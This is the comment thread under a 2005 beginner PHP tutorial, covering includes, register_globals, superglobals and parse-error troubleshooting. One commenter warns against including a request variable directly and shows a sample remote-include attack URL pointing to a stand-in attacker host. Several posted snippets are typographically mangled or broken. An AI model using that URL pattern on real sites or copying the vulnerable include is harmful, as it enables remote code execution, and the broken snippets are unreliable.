Digital Web Magazine

The web professional's online magazine of choice.

Easy-peasy PHP : Comments

By Jim Amos

March 9, 2005

Comments

Kevin Klein

March 9, 2005 11:23 PM

thx for the nice read and great encapsulation. php is the perfect server-side scripting choice for the front-end markup monkey.

regarding compression – do you need a specific config to take advantage of this (i.e. in php.ini or httpd.conf)? will this work on most LAMP environments?

Joris von Loghausen

March 10, 2005 1:01 AM

Just a little nag: It’s called VB Script or VBS, not both ;)

Harry Fuecks

March 10, 2005 2:18 AM

Good introduction.

One word of warning for security, before anyone tries it, following on the the “Introducing switch conditionals” example.

NEVER, repeat NEVER do something like this;

if ( $id ) { include $id;
} else { require ‘intro.php’;
}

PHP provides functionality for performing “remote includes” – it allows you to include code from a remote web server using a URL. My example here could allow someone to attack your site by modifying the URL like;

/main.php?id=http://evilhacker.net/include_this.txt

See Security Sensitive Eval Functions for more information.

Luke Redpath

March 10, 2005 3:14 AM

I understand that this is aimed at beginners, but I still cannot agree with promoting the use of code that takes advantage of “register_globals” being turned on.

To explain for those who are new to this, PHP has a setting called register_globals, which lets you access POST and GET variables amongst other things directly.

So ?foo=bar&hello=world automatically gives you access to the variables $foo and $hello.

Since PHP 4.2 register_globals is turned OFF by default therefore you should try and keep to the good practice of accessing GET/POST/SERVER/COOKIE/SESSION variables through their relative superglobal arrays…in plain english…in my last example, instead of using $foo and $hello, you use $_GET[‘foo’] and $_GET[‘hello’]. The other superglobals are $_POST, $_SERVER, $_SESSION and $_COOKIE.

More information here:
http://uk2.php.net/register_globals

Mike P.

March 10, 2005 5:12 AM

With respect to the headers on CSS compression:

header(“Content-type: text/css; charset: UTF-8”);

The ‘charset’ bit should be declared in those headers. Also, it should be noted that in the code provided in the example, this bit – $offset = 60 * 60 ; – sets the CSS to cache for 1 hour. People may want to set that for longer when they get down to it, that is (60*60*24*60) for 60 days, for example.

Bryan Buchs

March 10, 2005 6:35 AM

Not to nitpick, but this bit of code is used twice:

Bob H.

March 10, 2005 6:38 AM

It can be difficult to learn ColdFusion? Oh my!

Bryan Buchs

March 10, 2005 6:41 AM

Not to nitpick, but this bit of code is used twice:

<?phpswitch($id)

It should be…

<?php switch($id)

Otherwise, good intro article.

Nicholai Roningen

March 10, 2005 6:50 AM

Can you use absolute paths with the includes?

<?php include (”/inc/header.php”); ?>

I’ve tried this before and had problems… but I never figured out what the issue was.

Ben Otero

March 10, 2005 8:35 AM

I’m getting the error message “Notice: Undefined variable: id in…” in reference to the initial switch ($id). Any fix for this?

Mike P.

March 10, 2005 8:51 AM

Ben, it has to do with what Luke mentioned.

You’ll want to use $_GET[‘id’] instead of simply $id.

Geof Harries

March 10, 2005 8:52 AM

Echoing the comments above: ColdFusion is harder to learn than PHP? Obviously, you’ve never looked at CFML for more than 3 minutes. It takes 4 to learn the basics :)

geof

Ian W.

March 10, 2005 9:09 AM

Nicholai, you need to use paths absolute to the filesystem, so something like this:

Ian W.

March 10, 2005 9:12 AM

oops, what i mean to say is this:

<?php include (”/usr/www/site/inc/header”); ?>

or even

<?php include (”../inc/header”); ?>

if that is what you need.

marties

March 10, 2005 9:30 AM

Ian W: which command do you use to get the root path in php ?

Jim Amos

March 10, 2005 10:20 AM

Harry, Mike P – thanks for including the additional info and links. Like I said, I wouldn’t call myself any kind of expert – I am just offering this as an introduction to all that lovely PHP goodness.

As for all you coldfusion aficionado’s – I’ll take your word for it – no offence intended.

Richard Bryson

March 10, 2005 11:22 AM

It’s alwasy good to see a new article introducing PHP. I only got into using a computer for more than just creating word documents in ’98. Since learning html and then php, and consequently mysql a whole new world has opened for me including a new career. It really is simple to learn and as a result gives you – the editor/designer/programmer – added confidence to tackle other languages lurking out there.

I have to agree though that the article really should use superglobal variables ($_POST[‘var’], etc.) as well as having some basic security warnings. Saying that, if this spurs others onto achieving brighter and better results with their web efforts, then all to the good.

It would be good if someone could write an article summarising the differences between php, asp, coldfusion, C, C#, etc. I’m sure there are a lot of people out there who have a rudimentary knowledge of programming but would like to know more. What might be even more interesting is for information on when and how to apply practically these different programming languages in a web / application development environment, much like this article begins to with its reference to headers and footers..

Ben Otero

March 10, 2005 1:01 PM

Thanks Mike.

I guess I’m exposing what a rook I am in terms of PHP but how does the $_GET[id] work along with the switch? Or should I just drop the switch altogether? Where am I getting the id from (I’m assuming that $_GET works only in forms)?

Hugo Tremblay

March 10, 2005 1:43 PM

Ben: You can stick to the switch statement. You just need to replace $id with the GET variable, in other words switch($_GET[‘id’]). I’d also advise you to check its value before using it — just so you know it’s what you expect.

You’ll be getting the id from the URL. The difference between $_GET and $_POST is that they refer to two types of HTTP requests (GET and POST).

In a nutshell, $_GET allows you to use the parameters that appear after the ‘?’ in the request’s URL, eg. main.php?id=8. As you can guess, you don’t necessarily need to use a form to generate such an URL. Putting href=“main.php?id=8” in a simple link works fine (although you may eventually need to “escape” special characters).

$_POST, on the other hand, refers to the values contained within an HTTP request made by posting a form — which is what happens when you declare method=“post” in the HTML form.

Ben Otero

March 10, 2005 2:03 PM

Hugo you’re terrific. I actually used the GET variable before but I’m not sure why it didn’t work. In any case, thanks a lot. This is a great help. And thanks to Jim Amos as well.

Adam Bramwell

March 10, 2005 6:34 PM

In the first switch conditionals code block I had to change all the ‘ to “ for it to work, as follows:

case

jayell

March 10, 2005 7:17 PM

I’m just learning PHP. This was a great exercise (that didn’t quite work :-), until reading through all the corrections at noted. Even that was helpful. Hope you’ll make the changes quickly, to help others.

Jayell

Dante Evans

March 10, 2005 10:39 PM

Never ever use double primes (”) for just text strings. You only use double primes for text strings with variables. Otherwise use single primes (’). It saves a little bit of time but it adds up. Which one looks easier and better?

<?php include(“header.php”); ?>
<?php include ‘header.php’; ?>

MacDara

March 11, 2005 2:33 AM

I don’t know what I’m doing wrong, I’ve tried everything suggested here, but I keep getting the following whenever I try to load main.php:

Parse error: parse error in /web/script/macdara/macdaraconroy.com/phptutorial/main.php on line 9

(That number 9 sometimes changes to an 8 or a 7, but that’s all.)

Anybody have a clue what I might be doing wrong? I went by the book.

Marwan

March 11, 2005 6:44 AM

I keep on getting a parse error as well. line 11

10

Jim Amos

March 11, 2005 9:56 AM

Just so everybody knows, I’m working on a revision of this article, or something in addendum. Whether it will apear here or elsewhere I’m not sure yet, but I’ll at least link to it. Apologies to anyone trying this out and not getting the expected results.

Brady J. Frey

March 11, 2005 4:02 PM

Similar to what we’ve done on our homepage for the past year — email me if the code could help you, I’m happy to share it.

Keith

March 11, 2005 6:01 PM

marties:
To get the root path in PHP you could use:
include ($_SERVER[‘DOCUMENT_ROOT’] . ‘/includes/header.php’);

Lewis

March 12, 2005 3:07 PM

If you are receiving a parsing error, it is most likely a missing quote or semi colon. Check the line the error points to as well as one before and after it. Post them here if you’re still having trouble.

porneL

March 12, 2005 4:12 PM

I have years experience in PHP now and I can say it is NOT a good language for beginners. They just keep repeating same bugs with include($xx), register_globals mess, header(“Location: foo.html”);, etc.

other languages come with framework that protects them from these mistakes, at cost of steeper learning curve.

Jon Clark

March 13, 2005 12:46 AM

after reading bits of pieces of this, i finally dove into the deep end, being server-side scripting: my filesizes have gone down and i expect updating to go much more smoothly. =)

theadana

March 13, 2005 10:26 AM

Thanks so much for this article, and thank you to all the commenters who have been clarifying certain points. This basic introduction is exactly what I needed to start making my website the way I’ve always wanted it to be.

Thank you SO much!

Dominik H.

March 13, 2005 1:33 PM

This has been the worst PHP tutorial ever. Can’t you guys ask someone who can code PHP to write something about it or to check it before you publish it?

Even beginners should learn how to code safe.. See Luke Redpath’s post for more information.

david

March 13, 2005 6:40 PM

great

Dave P

March 14, 2005 3:15 PM

First off, I hope this isn’t taken as flamebait because that is not my intent.

I’m not sure I like some of the key points of this article, including the idea of promoting PHP as an “easy” language, along with the notion that “you can learn as you go”.

Writing code is easy, the same way that designing a website is easy. However, doing both properly is another matter altogether.

Add to that the risks of publishing your code to the entire world, as you are essentially doing with web-based languages such as PHP; you better have a damn good idea regarding the concepts and ramifications of your code or you will be owned faster than a souvenir baseball at a garage sale.

There are a lot of badly written PHP apps out there (PHPNuke comes to mind) that although popular, remain festering open sores on the internet.

If you want to learn how to code, but don’t want to sit down and learn the fundamentals, then you probably shouldn’t be touching code.

That being said, if you do decide to follow through the “right way”, the particular language used makes little difference. I would recommend though, a lower level one such as C or C++ (even dreaded Perl) rather than PHP. PHP is quite an abstract language and although powerful, (in fact, one of my favourites) can be a security nightmare in the wrong hands, as some previous commenters have pointed out.

Second, I would suggest a well written book from o’Rielly or similar reputable publisher.

There’s too many insecure, sloppy and plain ignorant examples of code esp. PHP floating around out there. Don’t be one of the uneducated masses.

Timmy

March 14, 2005 7:08 PM

Good beginner tutorial,

For the register_globals issue, here’s a tip for you guys;
I change my variables at the beginning of my page by:

// when variable is sent thru url
$var = $_GET[‘var’];

//when variable is sent thru form
$var = $_POST[‘var’];

I do this for every variable I have, and then I can use $var in the whole document, which is really time-saving ;-)

About the double/single quote issue, it works fine with “.

Keep good things up guys

Pyro

March 15, 2005 9:16 AM

I have replaced the $id with the GET variable but still get an error – could somebody post the correct code just so those of use who are new to php can confirmt that the changes are correct and that a definitive version is here for others when they read on.

thanks

Lewis

March 15, 2005 11:49 AM

Post the code you’re having trouble with, or the ever message you receive.

Pyro

March 16, 2005 1:27 AM

Here is the error:

Parse error: parse error, unexpected ‘{’ in /hsphere/local/home/copious/pixelpyro.co.uk/switcher/main.php on line 9

Not sure that will help – the code that I altered is as follows.

Pyro

March 16, 2005 1:31 AM

Sorry don’t now why this didn’t go in the above post. Changed ($id) to ($_GET[‘id’])

Andrew Henze

March 16, 2005 3:42 PM

In my experience PHP is not a good beginner language because it does not teach good habits or programming basics. I’ve seen junior staff start learning to code using PHP, Javascript, Perl, ASP (JScript and VBScript) and even awful things like JSP and Python. Two years later the people who started off learning anything but PHP can write simple code in all of these languages. The ones who started by learning PHP can only use PHP and get the shakes when they have to use anything else.
Has anyone else noticed this?
If you’re new to programming don’t start with PHP.

Mic Antonio

March 16, 2005 7:48 PM

Good intro article. For those want to experiment with PHP on their windows PC, try XAMPP.

http://www.apachefriends.org/en/xampp.html

dmhDCmetro

March 17, 2005 11:10 AM

Andrew – that’s my experience. I’ve been a site designer for over 5 years and just got into the development side about 2 years ago. I started with ASP and SQL Server (before that, I was even afraid of JavaScript). I thought I’d give PHP and MySQL a chance a couple months ago to expand my knowledge

Lewis

March 17, 2005 1:09 PM

Pyro: look for a missing brace in or around line 9.

Nick Finck

March 17, 2005 7:18 PM

Ok, we have corrected one typo in the code example …there was a space missing between the ?php and the switch(id). It sounds like Jim may be authoring a follow-up article which we will publish and help clarify any issues you may be having.

Emiliano Ruggeri

March 20, 2005 1:31 AM

It works like this:

otherwise it always gives an ‘undefined index’ error which is the variable ($i in this case) that is not declared.

Emiliano

Emiliano Ruggeri

March 20, 2005 2:01 AM

It works like this:

<?php
if(empty($_GET[‘i’])) $_GET[‘i’] = ‘’;
switch($_GET[‘i’]):
case ‘intro’:
require_once('intro.php'); break; case 'blue': require_once(‘blue.php’);
break;
case ‘red’:
require_once('red.php'); break; case 'green': require_once(‘green.php’);
break;
default:
@require_once(‘intro.php’);
endswitch;
?>

otherwise it always gives an ‘undefined index’ error which is the variable ($i in this case) that is not declared.

Sorry for the double post, my fault.
Emiliano

Ryan Brooks

March 22, 2005 8:30 AM

Two tips:

1. Don’t use print. Echo is faster than print by a longshot (just do a search for echo vs print benchmarks)

2. Look into dirname, realpath and “FILE“ – something like

dirname(dirname(realpath(__FILE__)))));

is far more friendly than $_SERVER[‘DOCUMENT_ROOT’]

-Ryan

Simon Jessey

March 22, 2005 11:50 AM

I second Ryan’s tips. $_SERVER[‘DOCUMENT_ROOT’] will not work with IIS by default, for example. You’d have to set an environment variable and reboot the computer (restarting IIS is insufficient). Works fine with Apache though.

Jay

March 23, 2005 8:15 AM

In the switch demo I get the following error in my browser:

Warning: open_basedir restriction in effect. File is in wrong directory in /home/httpd/vhosts/smashingred.com/httpdocs/main.php on line 23

Fatal error: Failed opening required ‘

Luke Redpath

March 25, 2005 6:30 PM

Timmy, you say:


For the register_globals issue, here’s a tip for you guys;
I change my variables at the beginning of my page by:

// when variable is sent thru url
$var = $_GET[‘var’];

//when variable is sent thru form
$var = $_POST[‘var’];

Can I ask why? All it is doing is adding unnessecary bloat to your code. 9 times out of 10, you are only wasting time by creating these “temporary” variables. It is far better to get into the habit of accessing things directly and bypassing the extra, unneeded fluff.

If for example, you have a querystring variable ?id=1234, and you use your technique; you might create a var called $id for some other reason in your script, thus changing the value for the rest of the script. By using $_GET[‘id’] you always know what you are accessing.

(note, there are times when you shouldn’t use $_GET/$_POST values as-is, for instance when using them to dynamically include files or run processes – you should always filter incoming data by using a switch/case scenario to filter out any input you don’t want)

Mike

March 31, 2005 5:00 AM

Thanks for the intro. There’s absolutely nothing in it to make me want to drop ASP in favour of PHP, and nothing in it that you can’t do just as easily in ASP. Just how much more difficult is it to type
<!—#include file= "inc/header.asp"—>
than
<?php include ("/inc/header.php"); ?>
??

Nick Finck

March 31, 2005 7:25 AM

Mike: that’s your choice. However down the road should you find a better platform to work on, good luck on abandoning all the money you had to put into your current platform to move to a new one. I have experienced this first hand and it isn’t fun.

Will

March 31, 2005 5:16 PM

Jim Amos,

This is the site that I have been working on with the help of your article on EASY PHP.

http://www.wbdzine.com/main.php

Thanks alot!
Never thought I could do this stuff,

Will

Colin

April 25, 2005 8:36 AM

Is this about as good as it gets?

Colin

Colin

April 25, 2005 8:38 AM

OK so as a result of the previous posts I have a working version using the following:

if(empty($_GET[‘id’])) $_GET[‘id’] = ‘’;
switch($_GET[‘id’]):
case “intro”:
require_once 'intro.php'; break; case "bluetruck": require_once ‘bluetruck.php’;
break;
case “redhouse”:
require_once 'redhouse.php'; break; case "brownbear": require_once ‘brownbear.php’;
break;
default:
@require_once ‘intro.php’;
endswitch;

Is this about as good as it gets?

Sorry for the double posting the forum stripped out my code

Colin

Nathaniel Sabanski

May 3, 2005 1:52 AM

Nice tutorial! Although the fixes posted here are almost essential. :)

Andrew Mason

July 18, 2005 2:00 PM

Ignore the negative comments, I really enjoyed this little dip into PHP and it has helped me develop a faster, leaner web site.

Thanks.

Egon G. Freeman

July 31, 2005 9:11 PM

Posted by Hugo Trembley ( http://www.digital-web.com/articles/easypeasy_php/comments#comment868 ) — here’s one for the problem of escaping some troublesome characters: if You already know what exactly will be sent to a web page (and by that I mean knowing the variables and such – and You MUST know it before continuing actually :P), there’s a good way of escaping any URL-related problems with the simple urlencode()/urldecode() pair of functions. Get the output into a set of strings, urlencode() them, send through an url and then urldecode() when taken (and, naturally, split them then). OR just urlencode() specific elements, like text (for a web search engine, that would be an essential part of the engine’s ability to search, as users quite often seek pages containing characters otherwise unacceptable in a URL).

As to what has been posted by Timmy ( http://www.digital-web.com/articles/easypeasy_php/comments/#comment887 ), I have a good way of dealing with data I know that must come, but I am not sure where from. Best practice: check all viable sources:

if ( exists ($_POST['id']) ){ $id = $_POST['id']; } else if ( exists ($_GET[‘id’]) ){ $id = $_GET[‘id’]; }

What it does is, basically, check if there has been any data sent through any of the two ‘channels’. Of course, I give form data a priority (if it finds such data in a posted form, it won’t care for the same param from the url – it already got one), because forms are much harder to falsify (at least they require SOME MORE effort than just typing the variable directly into the URL).

Don’t forget there are other means of securing the data, and other means of acquiring it. The best practice would be to learn about sessions (that’s a separate topic altogether, but much worth the effort), and of course I hope I don’t have to remind that I’d really, literally ditch parameters from other sources if I got them from a secure (secured by myself, that is) session data storage. Session data is procured server-side, processed server-side and KEPT server-side, and there is no other way of getting that info than through a PHP code. Each session is given its own ID, and (if properly embedded into the code) destroyed when finished, so… Someone would have to have one’s own PHP code ON THE SERVER to get the data from the session, but then one’d have to know the session’s ID, AND the data one’d be looking for… Bottom line: I’m not saying it’s impossible, but it requires a lot of effort, and will ultimately scare ‘script kiddies’ (and even some ‘decent’ crackers, actually) away. :-D For example: I know it can be done, but I wouldn’t try it, really… scares me away. :-DDDDD

As to what Andrew Henze wrote ( http://www.digital-web.com/articles/easypeasy_php/comments/#comment895 ) [ plus some other voices in this matter ] — PHP shows a lot of similarities to C++. For example, You can use the pre- and post- increments (and decrements) [those who know C++ will know what I mean], and functions are declared in a similar manner. The main difference is that You actually have to DECLARE all Your variables (but, then again, it HAS to be done in anything that doesn’t use a code parser, to determine the memory requirement), PLUS You have to put all of Your ‘main code’ into a specific function called ‘main(void)’ (it doesn’t take any parameters, because it is the FIRST thing to run, that’s why it’s “main”), while in PHP You put things in as they come. But it is well possible to declare all of Your variables before using them – it’s a bit troublesome, but saves a lot of ass-kicking-experience in the future, when learning languages that compile their code into a low-level executable instead of parsing it during the execution time… But, all in all, PHP is simply GREAT if You wish to learn the basics of programming, withouth actually diving into programming as ‘hardcore programmers’ know it. Learning another language may be a bit harder later on, but it surely is worth it – for example, You get a very quick start with the idea of recursion, among other things… That helps, believe me. :-)

And finally, on to what Collin posted ( http://www.digital-web.com/articles/easypeasy_php/comments/#comment995 ) — it can be done like so:

if ( @exists( $_GET[‘id’] ) ){ switch( $_GET[‘id’] ) {

case “intro”: require_once ‘intro.php’; break;

case “bluetruck”: require_once ‘bluetruck.php’; break;

case “redhouse”: require_once ‘redhouse.php’; break;

case “brownbear”: require_once ‘brownbear.php’; break;

default: require_once ‘intro.php’; break; }
} else { require_once ‘intro.php’; }

The last bit of code isn’t exactly an improvement, per see – that’s just the way I run things around my server, and that way I can see clearly through it (i.e. I can exactly see what the script will do if it doesn’t receive a variable at all, and I can change it without altering the main switch() scenario).

I hope I’ve been at least a bit helpful. __
If You find any errors, please email me at freeman [at] icpnet.pl

Egon G. Freeman

July 31, 2005 9:31 PM

If there would ever be a need for any of You reading this to acquire specific knowledge of any functions, or take a quick glimplse at the manual (or any relevant info for that matter), feel free to check the best & fastest (to my knowledge) PHP database in existence – http://www.php.net (it should find the nearest local mirror upon first load, mine would be pl2.php.net for example). I am using this site on daily basis, and its HUGE base of functions (AND user-contributed examples) has proven to be priceless. Someone might say I’m a llama if I have to check the manual / cross-reference function info so frequently, but I’d say the manual is a developer’s best friend… used properly, it can literally save one’s ass when it comes to proper coding or even ways to solve a given problem… :-)

Besides, with the size of the function database alone, I can tell that PHP has much more to offer than I have already explored (I’ve been through database manipulation to files manipulation to image manipulation and recently, off-server image data retrieving), so You could say I’m still basically learning the language… __

An interesting thing: I have found a “kind of” a compiler (I would call it a semi-compiler-thingie) called ‘Apollo’. Now it doesn’t really ‘compile’ the code as in ‘compiling into an executable’ – what it does is append a script parser onto the script file and as such makes it an executable. It requires specific PHP files (all included) to run (You might want to swap the shipped php.ini with Your own, though), but it does a pretty good job. Of course, it won’t build an executable out of a very complex code (for example, PHP can not be given data from a console, so no such functions can be written without a proper extension [that, again, would have to be written by a ‘hardcore programmer’ :P]), but it surely can perform simple tasks. For example, I have made a script that checks if there is a new comic strip at my favorite online comic’s web page, and – if there is – downloads it to my hard drive, names it properly and sends the info to me. Now, that script – being a PHP web script and all – can not be run automatically, on scheduled intervals (without a ‘host application’ anyway, and I do not know a way to close an explorer window automatically once it has been opened, without the taskkill command [and how should I know the script has finished??]). But an .exe file sure can do that stuff! I’ve used Apollo to ‘convert’ a simple three-liner PHP into an .exe file that I could use for that purpose, and the .exe file in turn calls the code that does what I mentioned above. A simple task such as this would otherwise require me to write a full-blown application that would surely incorporate web-accessing technology and all thgins I yet have to grasp (like configuring TCP networking within the application, which is still black magic for me and will be for some time). So… I’ve done that within a language I already know quite a bit of – PHP. I encourage You to try this one out – it surely has its uses. =^__^=

Egon G. Freeman

July 31, 2005 9:33 PM

One other thing that is great about using an .exe file to call a script, instead of incorporating that very script into an .exe file: if I ever want to improve the way the comic strip is retrieved, I only have to manipulate the script, without turning it into an .exe file again and again to test it (as it would be the case if I were writing that very code in any given non-web programming language).

tim0fee

August 14, 2005 3:23 AM

Thanks for the great starter article and follow-up comments. I got Colin’s code to work. I’d now like to get the display images part to work – but the code on the original article just won’t work for me. Anyone have any ideas please ? (PHP newbie in case you didn’t notice!)

Thanks muchly!

tim0fee

Karim Grant

September 17, 2005 5:36 PM

can someone add me to msn and teach me some stuff about php maybe help me fix some bugs.

sean

October 10, 2005 3:34 PM

hi all,

I’m having so much trouble with this on my server, can any be generous enought to send a me zip with the working files? I keep on getting an error on my codes even though i did cut and paste. Please help me out here.

Sorry, comments are closed.

Media Temple

via Ad Packs